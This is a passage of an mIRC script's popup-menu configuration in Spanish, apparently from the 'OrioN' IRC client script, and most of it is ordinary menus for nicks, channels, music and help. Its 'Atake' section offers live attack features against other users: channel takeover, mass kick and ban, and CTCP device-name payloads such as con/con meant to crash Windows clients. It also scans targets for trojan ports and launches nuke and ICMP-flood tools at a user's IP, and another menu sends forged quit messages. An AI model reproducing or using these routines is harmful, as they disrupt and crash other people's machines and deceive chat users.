n76=..stat inet: run $mircdirsistema\bats\nstat.bat n77=..- n78=..trojans infect: run $mircdirsistema\bats\scantrojans.bat n79=.- n80=.AutoListLog n81=.. $iif(%autolistlog == q,$style(1)) En privado:/set %autolistlog q n82=.. $iif(%autolistlog == w,$style(1)) En otra ventana:/set %autolistlog w n83=.. $iif(%autolistlog == n,$style(1)) No autolistlog:/set %autolistlog n n84=..- n85=.. %autolistloglines - Nº lineas?: set %autolistloglines $$?="Introduce el numero de lineas a mostrar para el recordatorio de log. Cuantas mas lineas mas retardo de salida." n86=..- n87=..Información: informo Esta utilidad, sirve para que cuando un usuario te abra un privado, automaticamente se muestre en ese privado o en una ventana aparte un trozo de la ultima conversación que has tenido con ese usuario (en caso de que exista el log). n88=.- n89=.Al conectar n90=..Sacar @noticeServ n91=... $iif(%autonewsserv,$style(1)) ON:/set %autonewsserv on n92=... $iif(!%autonewsserv,$style(1)) OFF:/unset %autonewsserv n93=..- n94=..Sacar Gestor canales n95=... $iif(%autoconfig#conex,$style(1)) ON:/set %autoconfig#conex on n96=... $iif(!%autoconfig#conex,$style(1)) OFF:/unset %autoconfig#conex n97=.- n98=.Alias-teclas:/ aliasteclas n99=.- n100=.Musica n101=..reproductor:/dialog -m musica musica n102=..- n103=..MID play: ponmusi#2 mid 1 n104=..WAV play: ponmusi#2 wav 1 n105=..Mp3 play: ponmusi#2 mp3 1 n106=..- n107=..mid al azar: ponmusi#2 mid 2 n108=..wav al azar: ponmusi#2 wav 2 n109=..mp3 al azar: ponmusi#2 mp3 2 n110=..- n111=..Stop m/w/3: .splay stop n112=..- n113=..local dirs n114=...ruta midis n115=.... %pathmusicamid :/ n116=....cambiar ruta: set %pathmusicamid $sdir="Seleccione el directorio con sus midis" C:\ n117=...ruta wavs n118=.... %pathmusicawav :/ n119=....cambiar ruta: set %pathmusicawav $sdir="Seleccione el directorio con sus wavs" C:\ n120=...ruta mp3s n121=.... %pathmusicamp3 :/ n122=....cambiar ruta:/set %pathmusicamp3 $sdir="Seleccione el directorio con sus mp3s" C:\ n123=.OrioNSound n124=.. $iif(%sorion,$style(1)) Activar:/set %sorion on n125=.. $iif(!%sorion,$style(1)) Desactivar:/unset %sorion n126=.- n127=. n128=- n129=nicks n130=.¿cambiar?: $$?="¿Que nick quieres ponerte?" | nick $! n131=.- n132=.config nicks n133=..Elige nick 1: set %nick1 $$?="Escribe el nick 1" n134=..- n135=..Elige nick 2: set %nick2 $$?="Escribe el nick 2" n136=..Elige nick 3: set %nick3 $$?="Escribe el nick 3" n137=..Elige nick 4: set %nick4 $$?="Escribe el nick 4" n138=..Elige nick 5: set %nick5 $$?="Escribe el nick 5" n139=..Elige nick 6: set %nick6 $$?="Escribe el nick 6" n140=..Elige nick 7: set %nick7 $$?="Escribe el nick 7" n141=.- n142=. %nick0: nick %nick0 n143=.- n144=. %nick1: nick %nick1 n145=. %nick2: nick %nick2 n146=. %nick3: nick %nick3 n147=. %nick4: nick %nick4 n148=. %nick5: nick %nick5 n149=. %nick6: nick %nick6 n150=. %nick7: nick %nick7 n151=.- n152=.borra nicks: unset %nick* n153=Canales n154=.Consola de canales: dialog -m canales canales n155=.- n156=.auto-entrada en canales: dialog -m redes redes | did -c redes 4 n157=.- n158=.entra en un canal: join n159=.canal con password: joinpass n160=.entra y salir: set %e-s #$$?="¿A que canal? (sin#)" | entrar %e-s | part %e-s | unset %e-s n161=.cerrar todos los canales: partall n162=.- n163=.canales preferidos n164=.. canal 1= %canal-1: join %canal-1 n165=.. canal 2= %canal-2: join %canal-2 n166=.. canal 3= %canal-3: join %canal-3 n167=.. canal 4= %canal-4: join %canal-4 n168=.. canal 5 = %canal-5: join %canal-5 n169=.. canal 6 = %canal-6: join %canal-6 n170=.. canal 7= %canal-7: join %canal-7 n171=.. canal 8= %canal-8: join %canal-8 n172=.. canal 9= %canal-9: join %canal-9 n173=..- n174=..elegir canales preferidos n175=...elegir el canal 1: set %canal-1 #$$?="Escribe el canal 1 (sin #), para poner en la lista de canales preferidos" n176=...elegir el canal 2: set %canal-2 #$$?="Escribe el canal 2 (sin #), para poner en la lista de canales preferidos" n177=...elegir el canal 3: set %canal-3 #$$?="Escribe el canal 3 (sin #), para poner en la lista de canales preferidos" n178=...elegir el canal 4: set %canal-4 #$$?="Escribe el canal 4 (sin #), para poner en la lista de canales preferidos" n179=...elegir el canal 5: set %canal-5 #$$?="Escribe el canal 5 (sin #), para poner en la lista de canales preferidos" n180=...elegir el canal 6: set %canal-6 #$$?="Escribe el canal 6 (sin #), para poner en la lista de canales preferidos" n181=...elegir el canal 7: set %canal-7 #$$?="Escribe el canal 7 (sin #), para poner en la lista de canales preferidos" n182=...elegir el canal 8: set %canal-8 #$$?="Escribe el canal 8 (sin #), para poner en la lista de canales preferidos" n183=...elegir el canal 9: set %canal-9 #$$?="Escribe el canal 9 (sin #), para poner en la lista de canales preferidos" n184=..- n185=..borra canales: unset %canal-* n186=.- n187=.listar canales n188=..con 0 usuarios: list -max 0 n189=..con 3 usuarios: list -min 3 -max 3 n190=..con 5 usuarios: list -min 5 -max 5 n191=..con 10 usuarios: list -min 10 -max 10 n192=..con 20 usuarios: list -min 20 -max 20 n193=..con mas de 20 usuarios: list -min 20 n194=..- n195=..especificar cifra de usuairos:{ n196= set %min,usuarios #$?="Escribe el numero minimo de usuarios (inclusive)" n197= set %max,usuarios #$?="Escribe el numero maximo de usuarios (inclusive)" n198= list -min %min,usuarios -max %max,usuarios n199=} n200=..- n201=..especificar el tema del canal: list #$?="¿Que tema?" n202=.- n203=. $read -l1 $mircdirsistema\txts\canales.txt : join $read -l1 $mircdirsistema\txts\canales.txt n204=. $read -l2 $mircdirsistema\txts\canales.txt : join $read -l2 $mircdirsistema\txts\canales.txt n205=. $read -l3 $mircdirsistema\txts\canales.txt : join $read -l3 $mircdirsistema\txts\canales.txt n206=. $read -l4 $mircdirsistema\txts\canales.txt : join $read -l4 $mircdirsistema\txts\canales.txt n207=. $read -l5 $mircdirsistema\txts\canales.txt : join $read -l5 $mircdirsistema\txts\canales.txt n208=. $read -l6 $mircdirsistema\txts\canales.txt : join $read -l6 $mircdirsistema\txts\canales.txt n209=. $read -l7 $mircdirsistema\txts\canales.txt : join $read -l7 $mircdirsistema\txts\canales.txt n210=. $read -l8 $mircdirsistema\txts\canales.txt : join $read -l8 $mircdirsistema\txts\canales.txt n211=. $read -l9 $mircdirsistema\txts\canales.txt : join $read -l9 $mircdirsistema\txts\canales.txt n212=. $read -l10 $mircdirsistema\txts\canales.txt : join $read -l10 $mircdirsistema\txts\canales.txt n213=e-mails n214=.gestor de emails: dialog -m email email n215=.- n216=.enviar email: run $mircdirsistema\sendmail\EnvioMail.exe n217=.- n218=.abrir cuenta n219=.. %email0: runer email %winactive %email0 n220=..- n221=.. %email1: runer email %email1 n222=.. %email2: runer email %email2 n223=.. %email3: runer email %email3 n224=.. %email4: runer email %email4 n225=.. %email5: runer email %email5 n226=.. %email6: runer email %email6 n227=.- n228=.configurar n229=.. %email0: set %email0 $$?="Cuenta de correo?" n230=..- n231=.. %email1: set %email1 $$?="Cuenta de correo?" n232=.. %email2: set %email2 $$?="Cuenta de correo?" n233=.. %email3: set %email3 $$?="Cuenta de correo?" n234=.. %email4: set %email4 $$?="Cuenta de correo?" n235=.. %email5: set %email5 $$?="Cuenta de correo?" n236=.. %email6: set %email5 $$?="Cuenta de correo?" n237=..- n238=..borrar emails: unset %email* n239=Webs n240=. %web0: runer net %web0 n241=.- n242=. %web1: runer net %web1 n243=. %web2: runer net %web2 n244=. %web3: runer net %web3 n245=. %web4: runer net %web4 n246=. %web5: runer net %web5 n247=. %web6: runer net %web6 n248=.- n249=.configurar n250=.. %web0: set %web1 $$?="Dirección URL?" n251=..- n252=.. %web1: set %web1 $$?="Dirección URL?" n253=.. %web2: set %web2 $$?="Dirección URL?" n254=.. %web3: set %web3 $$?="Dirección URL?" n255=.. %web4: set %web4 $$?="Dirección URL?" n256=.. %web5: set %web5 $$?="Dirección URL?" n257=.. %web6: set %web6 $$?="Dirección URL?" n258=.. %web7: set %web7 $$?="Dirección URL?" n259=- n260=Away:/ dialog -m away away n261=F-server:/ dialog -m fserver fserver n262=- n263=Utilidades n264=.Gestor Gets-files: dialog -m getfile getfile n265=.Mandar ficheros: { dialog -m sendfilec sendfilec } n266=.- n267=.Gestor emails: dialog -m email email n268=.- n269=.Estadisticas: dialog -m contacc contacc n270=.- n271=.Visor-logs: @log n272=.Visor-news: @news n273=.- n274=.Diario txt: run $mircdirsistema\txts\diario.txt n275=.OrioN-recursos: dialog -m oriongestor oriongestor n276=.RelogAlarma: @alarma n277=.AgendaURL: dialog -m agendaurl agendaurl n278=.Calculadora: calc.load n279=.UserList: dialog -m userlist userlist n280=.- n281=.Caritas: dialog -m caritas caritas n282=.Letras: dialog -m letras letras n283=.Radio: dialog -m radio radio n284=.Ascii: dialog -m ascii ascii n285=.Agentes: dialog -m agents agents n286=.- n287=.OrioNScan: dialog -m scan scan n288=.ScanCanal: dialog -m scancanal scancanal n289=Musica n290=.reproductor:/dialog -m musica musica n291=.- n292=.MID play: .splay $$file="Selecciona un archivo *.midi" %pathmusicamid n293=.WAV play: .splay $$file="Selecciona un archivo *.wav" %pathmusicawav n294=.Mp3 play: .splay $$file="Selecciona un archivo *.mp3" %pathmusicamp3 n295=.- n296=.mid al azar:{ var %y | %y = $findfile(%pathmusicamid,*.mid,0) | %y = $rand(1,%y) | .splay $findfile(%pathmusicamid,*.mid,%y) | unset %y } n297=.wav al azar:{ var %y | %y = $findfile(%pathmusicawav,*.wav,0) | %y = $rand(1,%y) | .splay $findfile(%pathmusicawav,*.wav,%y) | unset %y } n298=.mp3 al azar:{ var %y | %y = $findfile(%pathmusicamp3,*.mp3,0) | %y = $rand(1,%y) | .splay $findfile(%pathmusicamp3,*.mp3,%y) | unset %y } n299=.- n300=.Stop:/splay stop n301=.- n302=.Predefinir n303=..ruta midis n304=... %pathmusicamid :/ n305=...cambiar ruta: set %pathmusicamid $sdir="Seleccione el directorio con sus midis" C:\ n306=..ruta wavs n307=... %pathmusicawav :/ n308=...cambiar ruta: set %pathmusicawav $sdir="Seleccione el directorio con sus wavs" C:\ n309=..ruta mp3s n310=... %pathmusicamp3 :/ n311=...cambiar ruta:/set %pathmusicamp3 $sdir="Seleccione el directorio con sus mp3s" C:\ n312=- n313=Atake n314=. $active n315=.. $iif($me !isop $active,$style(2)) hacerse con el canal: set %takeover# $chan | sorion atake | takeover n316=..- n317=.. $iif($me !isop $active,$style(2)) llenar de bans:{ sorion atake | war.baneo# } n318=.. $iif($me !isop $active,$style(2)) joder modos: { sorion kick | war.modos# } n319=..-.. $iif($me !isop $active,$style(2)) kick aleatorio:{ sorion nuller | war.kick# } n320=.. $iif($me !isop $active,$style(2)) ban-kick aleatorio:{ sorion nuller | war.bankick# } n321=..- n322=.. $iif($me !isop $active,$style(2)) solo hablo io n323=...activar %act.war.ssss:{ n324= echo -s 8,1 Activada opcion de prohibido hablar en el canal11 $chan8 esta sera desactivada automaticamente al desconectar, o poniendo desactivar. n325= set %war.ssss $chan n326= set %act.war.ssss -x- n327= unset %des.war.ssss n328= .enable #ssss n329=} n330=...desactivar %des.war.ssss: { .disable #ssss | unset %war.ssss %act.war.ssss | set %des.war.ssss -x- } n331=..- n332=.. $iif($me !isop $active,$style(2)) quitar las @: massdeop n333=.. $iif($me !isop $active,$style(2)) quitar los +: massdevoz n334=.. $iif($me !isop $active,$style(2)) kick global: masskick n335=.. $iif($me !isop $active,$style(2)) ban massivo: massban n336=.. $iif($me !isop $active,$style(2)) ban-kick global: massbankick n337=.. $iif($me !isop $active,$style(2)) deop-kick massivo: massdeopkick n338=.. $iif($me !isop $active,$style(2)) deop-kick-ban massivo: massdeopbankick n339=..- n340=..mass atak con/con:/ctcp $active sound com/clock$.mp3 n341=..- n342=..PortOpen 139 (win-95):/ scan#n win-95 139 $active n343=..PortOpen 135 (win-NT):/ scan#n win-nt 135 $active n344=..PortOpen 1080 (WinGate):/ scan#n win-gate 1080 $active n345=..PortOpen 12345 (NetBus):/ scan#n netbus 12345 $active n346=..PortOpen 31337 (BO):/ scan#n bo 31337 $active n347=..PortOpen 79 (Finger):/ scan#n finger 79 $active n348=..PortOpen 23 (Telnet):/ scan#n telnet 23 $active n349=..PortOpen 113 (IdenT):/ scan#n ident 113 $active n350=..PortOpen (¿?): scan#n $$?="Escribe el puerto a escanear" $! $active n351=..- n352=..Scaner: run $mircdirscaner\Portscan.exe n353=.- n354=.con/con:/ ctcp $1 sound con/con.wav n355=.com/com: ctcp $1 sound com/com.wav n356=.clock/clock: ctcp $1 sound clock/clock.wav n357=.ps/ps: ctcp $1 sound ps/ps.wav n358=.aux/aux: ctcp $1 sound aux/aux.wav.lpt/lpt: ctcp $1 sound lpt/lpt.wav n359=.nul/nul: ctcp $1 sound nul/nul.wav.com/clock$.mp3: ctcp $1 sound com/clock$.mp3 n360=.- n361=.$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,ver clones) n362=..clones?: dialog -m scan scan | set %whoscan on | who %barsnick | .timer 1 1 scanclonesd n363=..- n364=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick d n365=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick d n366=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick d n367=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick d n368=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick d n369=..- n370=.. $gettok($address($snick($chan),2),2,33):/ who $gettok($gettok($address($snick($chan),2),2,33),2,64) n371=..- n372=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,patear clones) n373=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n374=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n375=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n376=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n377=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n378=..- n379=..todos: { n380= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n381= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n382= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n383= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n384= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n385=} n386=.- n387=. $iif(!$exists($mircdir\war),$style(2)) ClicK n388=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = click | who $$1 n389=..- n390=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = click | who $$1 n391=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = click | who $$1 n392=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = click | who $$1 n393=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = click | who $$1 n394=..- n395=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = click | who $$1 n396=. $iif(!$exists($mircdir\war),$style(2)) WinNuke n397=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = winnuke | who $$1 n398=. $iif(!$exists($mircdir\war),$style(2)) Assault:{ n399= echo -s >> 0Puesta de ip manualmente. (copia y pega la ip en el programa de war) n400= %progataker = Assault | %ataker = on | who $$1 n401=} n402=.- n403=.WarPRE n404=..Ejecutar: run %exewar1 n405=..- n406=..Config: set %exewar1 $dir="Seleccione su programa de war predefinido." C:\ n407=.- n408=. $iif(!$exists($mircdir\war),$style(2)) Nuker: %ataker = on | set %progataker VTJNuker | who $$1 n409=. $iif(!$exists($mircdir\war),$style(2)) OOB:{ n410= %progataker = OOB | %ataker = on | run $mircdirWAR\Voob.exe | who $$1 n411= echo -s >> 0Puesta de ip manualmente. n412=} n413=. $iif(!$exists($mircdir\war),$style(2)) ICMP:{ %progataker = ICMP | %ataker = on | who $$1 run $mircdirWAR\jav\VTJBomber.exe n414= echo -s >> 0Puesta de ip manualmente. n415=} n416=. $iif(!$exists($mircdir\war),$style(2)) ICMP2: { n417= %progataker = ICMP bomber | %ataker = on | who $$1 n418= run $mircdirwar\icmp.exe %whonickip n419= echo -s >> 0Pulse el boton start para comenzar el atake. n420=} n421=. $iif(!$exists($mircdir\war),$style(2)) Ping: set %ataker on | set %progataker Wsping32 | who $$1 n422=. $iif(!$exists($mircdir\war),$style(2)) Divint:{ n423= %progataker = Divint | %ataker = on | who $$1 n424= run $mircdirWAR\divint\Divint3.exe n425= echo -s >> 0Puesta de ip manualmente. n426=} n427=. $iif(!$exists($mircdir\war),$style(2)) BitchSlap: %progataker = BitchSlap | %ataker = on | who $$1 n428=. $iif(!$exists($mircdir\war),$style(2)) Panther: { n429= %progataker = Panther | %ataker = on | who $$1 n430= run $mircdirwar\Panther.exe n431= echo -s >> 0Puesta de ip manualmente. n432=} n433=. $iif(!$exists($mircdir\war),$style(2)) WnewK-x:{ n434= %progataker = WnewK-x v1.11.5 | %ataker = on | who $$1 n435= run $mircdirWAR\Wnewk-x.exe n436= echo -s >> 0Introduce manualmente los datos. n437=} n438=. $iif(!$exists($mircdir\war),$style(2)) NukeR:{ n439= %progataker = Wnuke v2.3 | %ataker = on | who $$1 n440= run $mircdirWAR\wnuke.exe n441= echo -s >> 0Introduce manualmente la ip. n442=} n443=.- n444=.Setup: %setup = war | dialog -m setup setup n445=Defensa n446=.$iif(%actproantideop,$style(1)) Anti-deop: dialog -m antideop antideop n447=.$iif(%actproantikick,$style(1)) Anti-kick: dialog -m antikick antikick n448=.$iif(%actproantiban,$style(1)) Anti-ban: dialog -m antiban antiban n449=.$iif(%actantiinsultos,$style(1)) Anti-insultos: dialog -m insultos insultos n450=.$iif(%actantiinsultos,$style(1)) Anti-Plagios: dialog -m cplag cplag n451=.$iif($readini(sistema\spam\spamconf.ini,spam,spamed) == on,$style(1)) Anti-Spam: dialog -m antispam antispam n452=.- n453=.$iif($group(#antiflood) == on,$style(1)) Antiflood OrioN: dialog -m antiflood antiflood n454=..$iif(si isin %pflood,$style(1)) Antiflood mIRC n455=..acitivar: apf n456=..desactivar: dpf n457=..estado del flood: sflood n458=..- n459=..activar chequeo cada?: chb n460=..max de lineas en memoria?: maxl n461=..max de lineas por persona?: maxlp n462=..ignorar al usuario durante?: igu n463=.- n464=.Ignore: { dialog -m ignore ignore } n465=.- n466=.De canales: dialog -m config# config# n467=.- n468=.Nuke detector: { n469= echo -s $oriontheme(sSeparadorLine) n470= echo -s 4,1 RUN 0 Ejecutado detector de nukes 11 Já aí vem 8ver 2.01 9,99 n471= echo -s $oriontheme(sSeparadorLine) n472= run $mircdirwar\jav\JAV.exe n473=} n474=.Nukennaber: run $mircdirwar\nukenabber\nukenabber.exe n475=.- n476=.Firewall: { n477= if (%rutafire != $null) { run %rutafire } n478= else { set %rutafire $dir="Selecciona tu firewall para tu defensa" } n479=} n480=Scan n481=.OrioNScan: dialog -m scan scan n482=.Scaner: run $mircdirscaner\Portscan.exe n483=.- n484=. $active n485=..ScanCanal: dialog -m scancanal scancanal n486=..- n487=..PortOpen 139 (win-95):/ scan#n win-95 139 $active n488=..PortOpen 135 (win-NT):/ scan#n win-nt 135 $active n489=..PortOpen 1080 (WinGate):/ scan#n win-gate 1080 $active.PortOpen 12345 (NetBus):/ scan#n netbus 12345 $active n490=..PortOpen 31337 (BO):/ scan#n bo 31337 $active n491=..PortOpen 79 (Finger):/ scan#n finger 79 $active n492=..PortOpen 23 (Telnet):/ scan#n telnet 23 $active n493=..PortOpen 113 (IdenT):/ scan#n ident 113 $active n494=..PortOpen (¿?): scan#n $$?="Escribe el puerto a escanear" $! $active n495=..- n496=.Setup: %setup = scan | dialog -m setup setup n497=- n498=Ayuda n499=.De OrioN n500=..web: runer net http://www.ircorion.net/help/help.htm n501=..- n502=..IRC: join #orion_script n503=..- n504=..foro:{ n505= informo Pregunta todas tus dudas sobre el script en el FORO del web OrioN. Seras contestado por alguno de los operadores del canal #orion_script en el plazo maximo de 2 dias. :-) Graciax. $oriontheme(sSeparadorLine) n506= if (%rutanet == $null) { dialog -m barra barra | did -c barra 7 1 | manuallocalizador | dialog -x barra barra | .timer 1 5 run %rutanet http://melodysoft.com/cgi-bin/foro.cgi?ID=foroquasi } n507= else { .timer 1 5 run %rutanet http://melodysoft.com/cgi-bin/foro.cgi?ID=foroquasi } n508=} n509=..- n510=..e-mail:{ n511= echo -s Te ayudaremos con cualquier problema: 0,1 e-mail: ayuda@ircorion.net 0,99 n512= informo Pregunta todos tus problemas o dudas sobre el script en el grupo de mails OrioN. Seras contestado por alguno de sus usuarios en el plazo maximo de 2 dias. :-) Graciax. $oriontheme(sSeparadorLine) n513= runer email ayuda@ircorion.net n514=} n515=.- n516=.De mIRC n517=..ayuda general: run $mircdirmirc.hlp n518=..busqueda por palabra: $?="Escriba la palabra para buscar su ayuda" | help $! n519=.- n520=.De ineT: join #ayuda_internet n521=- n522=Salir/Cerrar n523=.cerrar privados:/close m n524=.cerrar fserver:/close f n525=.cerrar canales n526=..con mensaje:/partall $$?="Escribe el mensaje" n527=..sin mensaje:/partall n528=.cerrar todos los canales n529=.cerrar OrioN: exit n530=.- n531=.salir con msg: quit $$?="Escirbe el mesaje de salida".salir sin msg: quit n532=.- n533=.salidas falsas..Ping timeout: quit Ping timeout for $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) n534=..Connection reset by peer: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection reset by peer n535=..Connection refused: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection refused n536=..Write error: quit Write error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : closing link n537=..Protocol not available: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Protocol not available n538=.- n539=.salir y cerrar: quit | exit [mpopup] n0=$iif($server,$style(1)) Conectar: dialog -m servers servers n1=- n2=$iif(!$server,$style(2)) Server n3=.servMotd:/motd n4=.lusers:/lusers n5=.mapa:/map n6=.enlaces:/links n7=.time: time n8=.version: /version n9=.conex:/stats l n10=.admin Infor:/admin n11=.carga user:/stats w n12=.onTime:/stats u n13=.bytes:/stats t n14=.info completa:/stats z n15=.comandos:/stats m n16=.trace:/trace n17=.infoServ:/admin n18=.- n19=.iRCops:/stats o n20=.lines n21=..o: stats o n22=..i: stats i n23=..g: stats g n24=..k: stats k n25=..otro: stats $$?="Escribe la letra" n26=.- n27=.ver Lag n28=..con otro usuario: .ctcp $$?="Nick?" ping n29=..mi propio lag: { ctcp $me ping } n30=.- n31=.@NoticeSerV: getnoticeserv n32=.- n33=.configRedes: dialog -m redes redes n34=- n35=$iif(!$server,$style(2)) Info n36=.whois nick: whois $$?="De que nick deseas obtener la informacion del whois?" n37=.who nick: who $$?="Nick para el who?" n38=.whowas: WHOWAS $$?="Nick para el whowas?" n39=.- n40=.User n41=..userHOST: userhost $$?="Nick para el userhost?" n42=..userIP: userip $$?="Nick para el userip?" n43=..userOnLine: ison $$?="Nick para el useonline?" n44=.- n45=.IP scan n46=..ip-nick-host: dns $$?="Introduce la ip el nick o el host del usuario" n47=..descifrar ip: dns $$?="De que nick deseas obtener la ip?" n48=.- n49=.ver lag n50=..gestor: dialog -m lageo lageo n51=..- n52=..personal: ctcp $me ping n53=..otro user: /ctcp $$?="Respecto a que nick?" ping n54=.- n55=.notify: dialog -m notify notify n56=.u-central: uwho $$?="De que nick deseas obtener la información?" n57=.agenda: /abook $$?="De que nick deseas obtener la infiormación?" n58=.- n59=.Scan OrioN: dialog -m scan scan n60=.Scaner: run $mircdirscaner\Portscan.exe n61=.Scan Users n62=..Europeos: who *.ue n63=..Españoles: who *.es n64=..Franceses: who *.fr n65=..Italianos: who *.it n66=..Ingleses: who *.co.uk n67=..EEUU: who *.com n68=..Brasileños: who *.br n69=..Argentinos: who *.com.ar n70=.Scan inet: run $mircdirsistema\bats\nstat.bat n71=.- n72=.entradas ARP: { n73= run $mircdirsistema\bats\msdosarp.bat n74= echo -s 0,1 Entradas ARP... 9,99 n75=} n76=.detect trojans: run $mircdirsistema\bats\scantrojans.bat n77=.- n78=.nicks-canal: who #$$?="Escribe el nombre del canal (sin #)" n79=.- n80=.users orion: who *orion* | who *quasi* | who *o31* | who *o32* | who *o41* | who ~script* n81=.- n82=.Mi conex: dialog -m infomeconex infomeconex n83=.Mi IDLE: { n84= %s = $idle | %m = $calc($idle / 60) | %h = $calc(($idle / 60) / 60) n85= echo -s $oriontheme(sSeparadorLine) n86= echo -s Tu IDLE (retardo) ha sido n87= echo -s Segundos: %s n88= echo -s Minutos: $int(%m) n89= echo -s Horas: $int(%h) n90= echo -s $oriontheme(sSeparadorLine) n91= unset %s %m %h n92=} n93=- n94=$iif(!$server,$style(2)) UserMode n95=.Invisible (+i): mode $me +i n96=.wall ops (+w): mode $me +w n97=.snotice (+s): mode $me +s n98=.secure (+r): mode $me +r n99=.ip virtual (+x): mode $me +x n100=.- n101=.otro: mode $me + $+ $$?="Escribe la letra" n102=.- n103=.ircop n104=..ponerme: oper $me $$?*"Escribe la pass" n105=..quitarme: ircop: mode -o $me n106=- n107=Nicks n108=.¿cambiar?: $$?="¿Que nick quieres ponerte?" | nick $! n109=.- n110=. %nick0: nick %nick0 n111=. %nick1: nick %nick1 n112=. %nick2: nick %nick2 n113=. %nick3: nick %nick3 n114=. %nick4: nick %nick4 n115=. %nick5: nick %nick5 n116=. %nick6: nick %nick6 n117=. %nick7: nick %nick7 n118=Canales n119=.Gestor canales: dialog -m canales canales n120=.- n121=.$iif(!$server,$style(2)) entra en un canal: join n122=.$iif(!$server,$style(2)) canal con password: joinpass n123=.$iif(!$server,$style(2)) entra y salir: set %e-s #$$?="¿A que canal? (sin#)" | join %e-s | .timersalcanal 1 2 part %e-s | unset %e-s n124=.$iif(!$server,$style(2)) cerrar todos los canales: partall n125=.- n126=.$iif(!$server,$style(2)) canales preferidos n127=.. canal 1= %canal-1: join %canal-1 n128=.. canal 2= %canal-2: join %canal-2 n129=.. canal 3= %canal-3: join %canal-3 n130=.. canal 4= %canal-4: join %canal-4 n131=.. canal 5 = %canal-5: join %canal-5 n132=.. canal 6 = %canal-6: join %canal-6 n133=.. canal 7= %canal-7: join %canal-7 n134=.. canal 8= %canal-8: join %canal-8 n135=.. canal 9= %canal-9: join %canal-9 n136=.- n137=.$iif(!$server,$style(2)) listar canales n138=..con 0 usuarios: list -max 0 n139=..con 3 usuarios: list -min 3 -max 3 n140=..con 5 usuarios: list -min 5 -max 5 n141=..con 10 usuarios: list -min 10 -max 10 n142=..con 20 usuarios: list -min 20 -max 20 n143=..con mas de 20 usuarios: list -min 20 n144=..- n145=..$iif(!$server,$style(2)) especificar cifra de usuairos:{ n146= set %min,usuarios #$?="Escribe el numero minimo de usuarios (inclusive)" n147= set %max,usuarios #$?="Escribe el numero maximo de usuarios (inclusive)" list -min %min,usuarios -max %max,usuarios n148=} n149=..- n150=..$iif(!$server,$style(2)) especificar el tema del canal: list #$?="¿Que tema?" n151=.- n152=. $iif(!$server,$style(2)) $read -l1 $mircdirsistema\txts\canales.txt : join $read -l1 $mircdirsistema\txts\canales.txt n153=. $iif(!$server,$style(2)) $read -l2 $mircdirsistema\txts\canales.txt : join $read -l2 $mircdirsistema\txts\canales.txt n154=. $iif(!$server,$style(2)) $read -l3 $mircdirsistema\txts\canales.txt : join $read -l3 $mircdirsistema\txts\canales.txt n155=. $iif(!$server,$style(2)) $read -l4 $mircdirsistema\txts\canales.txt : join $read -l4 $mircdirsistema\txts\canales.txt n156=. $iif(!$server,$style(2)) $read -l5 $mircdirsistema\txts\canales.txt : join $read -l5 $mircdirsistema\txts\canales.txt n157=. $iif(!$server,$style(2)) $read -l6 $mircdirsistema\txts\canales.txt : join $read -l6 $mircdirsistema\txts\canales.txt n158=. $iif(!$server,$style(2)) $read -l7 $mircdirsistema\txts\canales.txt : join $read -l7 $mircdirsistema\txts\canales.txt n159=. $iif(!$server,$style(2)) $read -l8 $mircdirsistema\txts\canales.txt : join $read -l8 $mircdirsistema\txts\canales.txt n160=. $iif(!$server,$style(2)) $read -l9 $mircdirsistema\txts\canales.txt : join $read -l9 $mircdirsistema\txts\canales.txt n161=. $iif(!$server,$style(2)) 